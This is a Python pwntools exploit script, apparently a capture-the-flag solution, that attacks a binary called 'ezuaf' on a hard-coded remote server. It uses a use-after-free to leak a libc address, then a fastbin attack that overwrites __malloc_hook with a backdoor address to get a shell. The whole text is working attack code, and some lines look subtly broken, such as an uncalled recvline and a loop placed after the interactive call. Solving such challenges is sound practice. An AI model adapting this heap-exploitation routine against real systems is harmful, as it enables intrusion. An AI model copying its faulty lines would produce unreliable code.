1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| from pwn import * context.log_level = 'debug'
psl = lambda data : p.sendline(data) ps = lambda data : p.send(data) pc = lambda data : p.recvuntil(data) ph = lambda des,data : print(des+hex(data)) psla = lambda data1,data2 : p.sendlineafter(data1,data2) uu64 = lambda : u64(pc(b'\x7f')[-6::].ljust(8,b'\x00')) binary_name = './ezuaf'
HOST = "47.107.139.41" PORT = 43869 choice = input("Please input yes->Process,no->Remote") if "y" in choice: p = process(binary_name) elif "n" in choice: p = remote(HOST,PORT) libc = ELF("./libc.so.6") e = ELF(binary_name) def bug(): gdb.attach(p) pause()
# ========== FUNTION =========== def choose(chose): psla("your choice:",str(chose)) def add(index,size,context): choose(1) psla(":",str(index)) psla(":",str(size)) psla(":",context)
def delete(index): choose(2) psla(":",str(index))
def show(index): choose(3) psla(":",str(index))
def edit(index,context): choose(4) psla(":",str(index)) psla(":",context)
# ========== Exploit 开始 ========== def exp(): note = 0x6020E0 backdoor = 0x400886 add(0,0x100,b'jian') add(1,0x100,b'jian') delete(0) show(0) libc_base = uu64()-0x3c4b78 ph("libc_base",libc_base)
malloc_hook = libc_base+libc.sym['__malloc_hook'] ph("malloc_hook",malloc_hook) add(2,0x60,b'fast1') add(3,0x60,b'fast2') delete(0) edit(2,p64(malloc_hook-0x23)) add(4,0x60,b'cccc') add(5,0x60,p64(0)+p64(0)+b'a'*0x3+p64(backdoor)) add(6,0x10,b'a') #bug()
p.interactive() for i in range(100): exp() a = p.recvline if "flag" in a : pause()
|